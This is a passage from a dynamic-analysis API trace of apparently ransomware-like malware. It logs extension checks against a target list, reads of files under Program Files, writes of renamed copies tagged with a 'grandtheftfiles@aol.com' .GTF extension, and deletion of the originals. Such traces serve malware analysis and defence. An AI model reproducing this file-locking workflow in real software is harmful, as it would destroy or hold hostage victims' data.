	[0153.650] lstrlenW (lpString=".1cd") returned 4
	[0153.650] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0153.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.650] lstrlenW (lpString=".jpg") returned 4
	[0153.650] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0153.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.650] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.650] lstrlenW (lpString=".doc") returned 4
	[0153.651] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1
	[0153.651] lstrlenW (lpString=".docx") returned 5
	[0153.651] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1
	[0153.651] lstrlenW (lpString=".pdf") returned 4
	[0153.651] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1
	[0153.651] lstrlenW (lpString=".xls") returned 4
	[0153.651] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1
	[0153.651] lstrlenW (lpString=".xlsx") returned 5
	[0153.651] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1
	[0153.651] lstrlenW (lpString=".ppt") returned 4
	[0153.651] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1
	[0153.651] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.651] lstrlenW (lpString=".zip") returned 4
	[0153.651] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1
	[0153.651] lstrlenW (lpString=".rar") returned 4
	[0153.651] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1
	[0153.651] lstrlenW (lpString=".bz2") returned 4
	[0153.651] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1
	[0153.651] lstrlenW (lpString=".7z") returned 3
	[0153.651] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1
	[0153.651] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.651] lstrlenW (lpString=".dbf") returned 4
	[0153.651] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1
	[0153.651] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.651] lstrlenW (lpString=".1cd") returned 4
	[0153.651] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1
	[0153.651] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15
	[0153.651] lstrlenW (lpString=".jpg") returned 4
	[0153.651] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1
	[0153.651] Sleep (dwMilliseconds=0x64) 
	[0154.049] lstrcmpiW (lpString1=".xml", lpString2=".GTF") returned 1
	[0154.050] lstrlenW (lpString="ipsdan.xml") returned 10
	[0154.050] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc
	[0154.171] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=2514) returned 1
	[0154.171] CloseHandle (hObject=0x3fc) returned 1
	[0154.171] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20
	[0154.181] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0154.181] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0154.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.181] lstrlenW (lpString=".doc") returned 4
	[0154.181] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.181] lstrlenW (lpString=".docx") returned 5
	[0154.181] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0154.181] lstrlenW (lpString=".pdf") returned 4
	[0154.181] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.181] lstrlenW (lpString=".xls") returned 4
	[0154.181] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.181] lstrlenW (lpString=".xlsx") returned 5
	[0154.181] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0154.181] lstrlenW (lpString=".ppt") returned 4
	[0154.181] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.182] lstrlenW (lpString=".zip") returned 4
	[0154.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.182] lstrlenW (lpString=".rar") returned 4
	[0154.182] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.182] lstrlenW (lpString=".bz2") returned 4
	[0154.182] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.182] lstrlenW (lpString=".7z") returned 3
	[0154.182] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.182] lstrlenW (lpString=".dbf") returned 4
	[0154.182] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.182] lstrlenW (lpString=".1cd") returned 4
	[0154.182] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.182] lstrlenW (lpString=".jpg") returned 4
	[0154.182] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.182] lstrlenW (lpString=".doc") returned 4
	[0154.182] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0154.182] lstrlenW (lpString=".docx") returned 5
	[0154.182] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1
	[0154.182] lstrlenW (lpString=".pdf") returned 4
	[0154.182] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0154.182] lstrlenW (lpString=".xls") returned 4
	[0154.182] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0154.182] lstrlenW (lpString=".xlsx") returned 5
	[0154.182] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1
	[0154.182] lstrlenW (lpString=".ppt") returned 4
	[0154.182] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0154.182] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.182] lstrlenW (lpString=".zip") returned 4
	[0154.182] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0154.182] lstrlenW (lpString=".rar") returned 4
	[0154.183] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0154.183] lstrlenW (lpString=".bz2") returned 4
	[0154.183] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0154.183] lstrlenW (lpString=".7z") returned 3
	[0154.183] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0154.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.183] lstrlenW (lpString=".dbf") returned 4
	[0154.183] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0154.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.183] lstrlenW (lpString=".1cd") returned 4
	[0154.183] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0154.183] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61
	[0154.183] lstrlenW (lpString=".jpg") returned 4
	[0154.183] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0154.183] Sleep (dwMilliseconds=0x64) 
	[0154.307] Sleep (dwMilliseconds=0x64) 
	[0154.538] Sleep (dwMilliseconds=0x64) 
	[0154.808] Sleep (dwMilliseconds=0x64) 
	[0155.020] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.020] lstrlenW (lpString="IN00919_.WMF") returned 12
	[0155.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.308] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=6920) returned 1
	[0155.309] CloseHandle (hObject=0x488) returned 1
	[0155.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220
	[0155.309] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0x20
	[0155.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.309] lstrlenW (lpString=".doc") returned 4
	[0155.309] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.309] lstrlenW (lpString=".docx") returned 5
	[0155.309] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0155.309] lstrlenW (lpString=".pdf") returned 4
	[0155.309] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.309] lstrlenW (lpString=".xls") returned 4
	[0155.309] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.309] lstrlenW (lpString=".xlsx") returned 5
	[0155.309] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0155.309] lstrlenW (lpString=".ppt") returned 4
	[0155.309] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.309] lstrlenW (lpString=".zip") returned 4
	[0155.309] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.309] lstrlenW (lpString=".rar") returned 4
	[0155.309] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.309] lstrlenW (lpString=".bz2") returned 4
	[0155.309] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.310] lstrlenW (lpString=".7z") returned 3
	[0155.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.310] lstrlenW (lpString=".dbf") returned 4
	[0155.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.310] lstrlenW (lpString=".1cd") returned 4
	[0155.310] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.310] lstrlenW (lpString=".jpg") returned 4
	[0155.310] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.310] lstrlenW (lpString=".doc") returned 4
	[0155.310] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.310] lstrlenW (lpString=".docx") returned 5
	[0155.310] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0155.310] lstrlenW (lpString=".pdf") returned 4
	[0155.310] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.310] lstrlenW (lpString=".xls") returned 4
	[0155.310] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.310] lstrlenW (lpString=".xlsx") returned 5
	[0155.310] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0155.310] lstrlenW (lpString=".ppt") returned 4
	[0155.310] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.310] lstrlenW (lpString=".zip") returned 4
	[0155.310] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.310] lstrlenW (lpString=".rar") returned 4
	[0155.310] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.310] lstrlenW (lpString=".bz2") returned 4
	[0155.310] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.310] lstrlenW (lpString=".7z") returned 3
	[0155.310] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.310] lstrlenW (lpString=".dbf") returned 4
	[0155.310] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.311] lstrlenW (lpString=".1cd") returned 4
	[0155.311] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68
	[0155.311] lstrlenW (lpString=".jpg") returned 4
	[0155.311] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.311] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.311] lstrlenW (lpString="J0090027.WMF") returned 12
	[0155.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.311] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=21268) returned 1
	[0155.311] CloseHandle (hObject=0x488) returned 1
	[0155.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220
	[0155.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.312] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.312] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.384] GetLastError () returned 0x0
	[0155.384] ReadFile (in: hFile=0x488, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x5314, lpOverlapped=0x0) returned 1
	[0155.393] WriteFile (in: hFile=0x418, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0x5320, lpOverlapped=0x0) returned 1
	[0155.397] ReadFile (in: hFile=0x488, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.397] WriteFile (in: hFile=0x418, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.397] SetEndOfFile (hFile=0x418) returned 1
	[0155.397] CloseHandle (hObject=0x418) returned 1
	[0155.397] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.397] SetEndOfFile (hFile=0x488) returned 1
	[0155.400] CloseHandle (hObject=0x488) returned 1
	[0155.401] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0155.401] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1
	[0155.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.402] lstrlenW (lpString=".doc") returned 4
	[0155.402] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.402] lstrlenW (lpString=".docx") returned 5
	[0155.402] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0155.402] lstrlenW (lpString=".pdf") returned 4
	[0155.402] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.402] lstrlenW (lpString=".xls") returned 4
	[0155.402] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.402] lstrlenW (lpString=".xlsx") returned 5
	[0155.402] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0155.402] lstrlenW (lpString=".ppt") returned 4
	[0155.402] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.402] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.402] lstrlenW (lpString=".zip") returned 4
	[0155.402] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.402] lstrlenW (lpString=".rar") returned 4
	[0155.402] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.402] lstrlenW (lpString=".bz2") returned 4
	[0155.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.403] lstrlenW (lpString=".7z") returned 3
	[0155.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.403] lstrlenW (lpString=".dbf") returned 4
	[0155.403] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.403] lstrlenW (lpString=".1cd") returned 4
	[0155.403] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.403] lstrlenW (lpString=".jpg") returned 4
	[0155.403] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.403] lstrlenW (lpString=".doc") returned 4
	[0155.403] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0155.403] lstrlenW (lpString=".docx") returned 5
	[0155.403] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1
	[0155.403] lstrlenW (lpString=".pdf") returned 4
	[0155.403] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0155.403] lstrlenW (lpString=".xls") returned 4
	[0155.403] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0155.403] lstrlenW (lpString=".xlsx") returned 5
	[0155.403] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1
	[0155.403] lstrlenW (lpString=".ppt") returned 4
	[0155.403] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0155.403] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.403] lstrlenW (lpString=".zip") returned 4
	[0155.403] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0155.403] lstrlenW (lpString=".rar") returned 4
	[0155.403] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0155.403] lstrlenW (lpString=".bz2") returned 4
	[0155.403] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0155.403] lstrlenW (lpString=".7z") returned 3
	[0155.403] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0155.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.404] lstrlenW (lpString=".dbf") returned 4
	[0155.404] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0155.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.404] lstrlenW (lpString=".1cd") returned 4
	[0155.404] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0155.404] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68
	[0155.404] lstrlenW (lpString=".jpg") returned 4
	[0155.404] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0155.404] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0155.404] lstrlenW (lpString="J0090087.WMF") returned 12
	[0155.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.405] GetFileSizeEx (in: hFile=0x488, lpFileSize=0x360ff14 | out: lpFileSize=0x360ff14*=46936) returned 1
	[0155.405] CloseHandle (hObject=0x488) returned 1
	[0155.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220
	[0155.405] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0155.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488
	[0155.405] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.406] SetFilePointerEx (in: hFile=0x488, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x360fec0 | out: lpNewFilePointer=0x0) returned 1
	[0155.406] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0155.406] GetLastError () returned 0x0
	[0155.406] ReadFile (in: hFile=0x488, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0xb758, lpOverlapped=0x0) returned 1
	[0155.410] WriteFile (in: hFile=0x418, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xb760, lpOverlapped=0x0) returned 1
	[0155.412] ReadFile (in: hFile=0x488, lpBuffer=0x3ff2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x360fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesRead=0x360fecc*=0x0, lpOverlapped=0x0) returned 1
	[0155.412] WriteFile (in: hFile=0x418, lpBuffer=0x3ff2020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x360fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ff2020*, lpNumberOfBytesWritten=0x360fc94*=0xec, lpOverlapped=0x0) returned 1
	[0155.412] SetEndOfFile (hFile=0x418) returned 1
	[0155.412] CloseHandle (hObject=0x418) returned 1
